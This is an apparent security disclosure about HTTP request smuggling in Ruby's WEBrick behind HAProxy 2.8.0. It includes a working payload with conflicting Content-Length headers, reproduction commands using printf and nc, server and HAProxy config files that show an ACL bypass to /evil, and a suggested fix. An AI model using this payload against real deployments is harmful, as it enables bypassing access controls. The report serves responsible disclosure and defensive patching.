Abstract

WEBrick is vulnerable to request smuggling when it is deployed behind a reverse proxy with the following two properties:

1. Can be coerced into emitting requests containing two Content-Length headers, of which the first is empty.
2. Prioritizes the second Content-Length header over the first.

HAProxy exhibited both of these behaviors until a few days ago. See CVE-2023-40225 for details.

WEBrick is vulnerable for two reasons:

1. It interprets empty Content-Length headers to have a value of 0, and
2. It prioritizes the first received Content-Length header over the rest if a request contains multiple Content-Length headers.

I suggest that WEBrick start rejecting messages with empty or multiple different Content-Length values. This is what most other web servers do, including Nginx, Apache, Lighttpd, H2O, IIS, Node.js, and LiteSpeed.

PoC Description

Suppose that we have WEBrick deployed behind a reverse proxy with the aforementioned properties (e.g. HAProxy 2.8.0) that has an ACL rule blocking access to the /evil directory on the WEBrick host.

The following payload will bypass the ACL rule:

GET / HTTP/1.1\r\n
Content-Length: \r\n
Content-Length: 43\r\n
\r\n
POST /evil HTTP/1.1\r\n
Content-Length: 18\r\n
\r\n
GET / HTTP/1.1\r\n
\r\n

This works because HAProxy sees the payload as two GET requests for /, but WEBrick sees the payload as a GET request for / and a POST request for /evil.

PoC Reproduction Steps

0. Start with a fresh installation of Alpine Linux (docker run --workdir /repro -it alpine:3.18.0)
1. Build and install Ruby:

cd /repro
apk add git autoconf gcc musl-dev make ruby-dev libffi-dev openssl-dev zlib-dev yaml-dev
git clone --depth 1 "https://github.com/ruby/ruby"
cd ruby
./autogen.sh
./configure
make -j$(nproc)
make install

2. Build and install WEBrick:

cd /repro
git clone "https://github.com/ruby/webrick"
cd webrick
gem build
gem install ./webrick*.gem

3. Build and install HAProxy 2.8.0:

cd /repro
git clone "https://github.com/haproxy/haproxy"
cd haproxy
git checkout v2.8.0
make -j`nproc` TARGET=linux-musl
make install

4. Copy the files from the Files section into the filesystem.
5. Start a WEBrick server on port 8080 that responds 200 to everything:

ruby /repro/server.rb &

6. Start HAProxy on port 80 with an ACL rule blocking access to /evil:

haproxy -f /repro/haproxy.conf &

7. Send the payload to HAProxy:

printf 'GET / HTTP/1.1\r\nContent-Length: \r\nContent-Length: 43\r\n\r\nPOST /evil HTTP/1.1\r\nContent-Length: 18\r\n\r\nGET / HTTP/1.1\r\n\r\n' | nc localhost 80

8. Observe that WEBrick sees a request for /evil, indicating that the ACL has been bypassed:

127.0.0.1 - - [14/Aug/2023:22:37:18 UTC] "GET / HTTP/1.1" 200 0
- -> /
...
127.0.0.1 - - [14/Aug/2023:22:37:18 UTC] "POST /evil HTTP/1.1" 200 0
- -> /evil

Files

/repro/server.rb

require 'webrick'

server = WEBrick::HTTPServer.new({:Port => 8080})

server.mount_proc '/' do |request, response|
  response.status = 200
end

server.start()

/repro/haproxy.conf

global
    maxconn 4096

defaults
    mode http
    option http-keep-alive
    timeout client 1s
    timeout connect 1s
    timeout server 1s
    timeout http-request 1s
    http-reuse always

frontend the_frontend
    bind 0.0.0.0:80
    default_backend the_backend
    http-request deny if { path -i -m beg /evil }

backend the_backend
   server server1 localhost:8080

Suggested Fix

WEBrick should reject any message that contains an empty Content-Length header. WEBrick should also reject any message containing multiple Content-Length headers, especially if those headers do not all have the same value. See here for the relevant portion of the standard.